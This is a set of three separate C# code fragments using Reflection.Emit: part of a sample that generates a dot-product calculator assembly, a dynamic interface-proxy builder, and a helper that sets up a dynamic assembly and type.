pmIL.DeclareLocal(typeof(int)); LocalBuilder point1LB = pmIL.DeclareLocal(myTypeBldr); LocalBuilder point2LB = pmIL.DeclareLocal(myTypeBldr); LocalBuilder tempObjArrLB = pmIL.DeclareLocal(typeof(object[])); pmIL.Emit(OpCodes.Ldstr, "Enter the 'x' value for point 1: "); pmIL.EmitCall(OpCodes.Call, writeMI, null); pmIL.EmitCall(OpCodes.Call, readLineMI, null); pmIL.EmitCall(OpCodes.Call, convertInt32MI, null); pmIL.Emit(OpCodes.Stloc, x1LB); pmIL.Emit(OpCodes.Ldstr, "Enter the 'y' value for point 1: "); pmIL.EmitCall(OpCodes.Call, writeMI, null); pmIL.EmitCall(OpCodes.Call, readLineMI, null); pmIL.EmitCall(OpCodes.Call, convertInt32MI, null); pmIL.Emit(OpCodes.Stloc, y1LB); pmIL.Emit(OpCodes.Ldstr, "Enter the 'x' value for point 2: "); pmIL.EmitCall(OpCodes.Call, writeMI, null); pmIL.EmitCall(OpCodes.Call, readLineMI, null); pmIL.EmitCall(OpCodes.Call, convertInt32MI, null); pmIL.Emit(OpCodes.Stloc, x2LB); pmIL.Emit(OpCodes.Ldstr, "Enter the 'y' value for point 2: "); pmIL.EmitCall(OpCodes.Call, writeMI, null); pmIL.EmitCall(OpCodes.Call, readLineMI, null); pmIL.EmitCall(OpCodes.Call, convertInt32MI, null); pmIL.Emit(OpCodes.Stloc, y2LB); pmIL.Emit(OpCodes.Ldloc, x1LB); pmIL.Emit(OpCodes.Ldloc, y1LB); pmIL.Emit(OpCodes.Newobj, pointCtor); pmIL.Emit(OpCodes.Stloc, point1LB); pmIL.Emit(OpCodes.Ldloc, x2LB); pmIL.Emit(OpCodes.Ldloc, y2LB); pmIL.Emit(OpCodes.Newobj, pointCtor); pmIL.Emit(OpCodes.Stloc, point2LB); pmIL.Emit(OpCodes.Ldstr, "({0}, {1}) . ({2}, {3}) = {4}."); pmIL.Emit(OpCodes.Ldc_I4_5); pmIL.Emit(OpCodes.Newarr, typeof(Object)); pmIL.Emit(OpCodes.Stloc, tempObjArrLB); pmIL.Emit(OpCodes.Ldloc, tempObjArrLB); pmIL.Emit(OpCodes.Ldc_I4_0); pmIL.Emit(OpCodes.Ldloc, x1LB); pmIL.Emit(OpCodes.Box, typeof(int)); pmIL.Emit(OpCodes.Stelem_Ref); pmIL.Emit(OpCodes.Ldloc, tempObjArrLB); pmIL.Emit(OpCodes.Ldc_I4_1); pmIL.Emit(OpCodes.Ldloc, y1LB); pmIL.Emit(OpCodes.Box, typeof(int)); pmIL.Emit(OpCodes.Stelem_Ref); pmIL.Emit(OpCodes.Ldloc, tempObjArrLB); pmIL.Emit(OpCodes.Ldc_I4_2); pmIL.Emit(OpCodes.Ldloc, x2LB); pmIL.Emit(OpCodes.Box, typeof(int)); pmIL.Emit(OpCodes.Stelem_Ref); pmIL.Emit(OpCodes.Ldloc, tempObjArrLB); pmIL.Emit(OpCodes.Ldc_I4_3); pmIL.Emit(OpCodes.Ldloc, y2LB); pmIL.Emit(OpCodes.Box, typeof(int)); pmIL.Emit(OpCodes.Stelem_Ref); pmIL.Emit(OpCodes.Ldloc, tempObjArrLB); pmIL.Emit(OpCodes.Ldc_I4_4); pmIL.Emit(OpCodes.Ldloc, point1LB); pmIL.Emit(OpCodes.Ldloc, point2LB); pmIL.EmitCall(OpCodes.Callvirt, pointDPBldr, null); pmIL.Emit(OpCodes.Box, typeof(int)); pmIL.Emit(OpCodes.Stelem_Ref); pmIL.Emit(OpCodes.Ldloc, tempObjArrLB); pmIL.EmitCall(OpCodes.Call, writeLineMI, null); pmIL.Emit(OpCodes.Ret); Console.WriteLine("PointMain (entry point) built."); pointType = myTypeBldr.CreateType(); Console.WriteLine("Type completed."); myAsmBldr.SetEntryPoint(pointMainBldr); myAsmBldr.Save(asmFileName); Console.WriteLine("Assembly saved as '{0}'.", asmFileName); Console.WriteLine("Type '{0}' at the prompt to run your new " + "dynamically generated dot product calculator.", asmFileName); // After execution, this program will have generated and written to disk, // in the directory you executed it from, a program named // <name_you_entered_here>.exe. You can run it by typing // the name you gave it during execution, in the same directory where // you executed this program. return(pointType); }
private static ProxyBuilder CreateProxyBuilder(string proxyName, Type interfaceType, Type channelType, Type ctorArgType) { #if NETSTANDARD1_6 // create a new assembly for the proxy AssemblyBuilder assemblyBuilder = AssemblyBuilder.DefineDynamicAssembly(new AssemblyName(PROXY_ASSEMBLY), AssemblyBuilderAccess.Run); // create a new module for the proxy ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule(PROXY_MODULE); #else AppDomain domain = Thread.GetDomain(); // create a new assembly for the proxy AssemblyBuilder assemblyBuilder = domain.DefineDynamicAssembly(new AssemblyName(PROXY_ASSEMBLY), AssemblyBuilderAccess.Run); // create a new module for the proxy ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule(PROXY_MODULE, true); #endif // Set the class to be public and sealed TypeAttributes typeAttributes = TypeAttributes.Class | TypeAttributes.Public | TypeAttributes.Sealed; // Construct the type builder TypeBuilder typeBuilder = moduleBuilder.DefineType(interfaceType.Name + PROXY, typeAttributes, channelType); List <Type> allInterfaces = new List <Type>(interfaceType.GetInterfaces()); allInterfaces.Add(interfaceType); //add the interface typeBuilder.AddInterfaceImplementation(interfaceType); //construct the constructor Type[] ctorArgTypes = new Type[] { typeof(Type), ctorArgType }; CreateConstructor(channelType, typeBuilder, ctorArgTypes); //construct the type maps Dictionary <Type, OpCode> ldindOpCodeTypeMap = new Dictionary <Type, OpCode>(); ldindOpCodeTypeMap.Add(typeof(Boolean), OpCodes.Ldind_I1); ldindOpCodeTypeMap.Add(typeof(Byte), OpCodes.Ldind_U1); ldindOpCodeTypeMap.Add(typeof(SByte), OpCodes.Ldind_I1); ldindOpCodeTypeMap.Add(typeof(Int16), OpCodes.Ldind_I2); ldindOpCodeTypeMap.Add(typeof(UInt16), OpCodes.Ldind_U2); ldindOpCodeTypeMap.Add(typeof(Int32), OpCodes.Ldind_I4); ldindOpCodeTypeMap.Add(typeof(UInt32), OpCodes.Ldind_U4); ldindOpCodeTypeMap.Add(typeof(Int64), OpCodes.Ldind_I8); ldindOpCodeTypeMap.Add(typeof(UInt64), OpCodes.Ldind_I8); ldindOpCodeTypeMap.Add(typeof(Char), OpCodes.Ldind_U2); ldindOpCodeTypeMap.Add(typeof(Double), OpCodes.Ldind_R8); ldindOpCodeTypeMap.Add(typeof(Single), OpCodes.Ldind_R4); Dictionary <Type, OpCode> stindOpCodeTypeMap = new Dictionary <Type, OpCode>(); stindOpCodeTypeMap.Add(typeof(Boolean), OpCodes.Stind_I1); stindOpCodeTypeMap.Add(typeof(Byte), OpCodes.Stind_I1); stindOpCodeTypeMap.Add(typeof(SByte), OpCodes.Stind_I1); stindOpCodeTypeMap.Add(typeof(Int16), OpCodes.Stind_I2); stindOpCodeTypeMap.Add(typeof(UInt16), OpCodes.Stind_I2); stindOpCodeTypeMap.Add(typeof(Int32), OpCodes.Stind_I4); stindOpCodeTypeMap.Add(typeof(UInt32), OpCodes.Stind_I4); stindOpCodeTypeMap.Add(typeof(Int64), OpCodes.Stind_I8); stindOpCodeTypeMap.Add(typeof(UInt64), OpCodes.Stind_I8); stindOpCodeTypeMap.Add(typeof(Char), OpCodes.Stind_I2); stindOpCodeTypeMap.Add(typeof(Double), OpCodes.Stind_R8); stindOpCodeTypeMap.Add(typeof(Single), OpCodes.Stind_R4); //construct the method builders from the method infos defined in the interface List <MethodInfo> methods = GetAllMethods(allInterfaces); foreach (MethodInfo methodInfo in methods) { MethodBuilder methodBuilder = ConstructMethod(channelType, methodInfo, typeBuilder, ldindOpCodeTypeMap, stindOpCodeTypeMap); typeBuilder.DefineMethodOverride(methodBuilder, methodInfo); } //create proxy builder var result = new ProxyBuilder { ProxyName = proxyName, InterfaceType = interfaceType, CtorType = ctorArgType, AssemblyBuilder = assemblyBuilder, ModuleBuilder = moduleBuilder, TypeBuilder = typeBuilder }; return(result); }
//==== Helpers =================================================== // Prepare an assembly private void PrepareAssembly( string typeName, bool bSave ) { AssemblyBuilderAccess acc = bSave ? AssemblyBuilderAccess.Save:AssemblyBuilderAccess.Run; AssemblyName aName = new AssemblyName(); aName.Name = typeName; appdomain = AppDomain.CurrentDomain; assemblybuilder = appdomain.DefineDynamicAssembly( aName, acc ); modulebuilder = assemblybuilder.DefineDynamicModule( typeName+".dll" ); typebuilder = modulebuilder.DefineType( typeName, TypeAttributes.Public ); }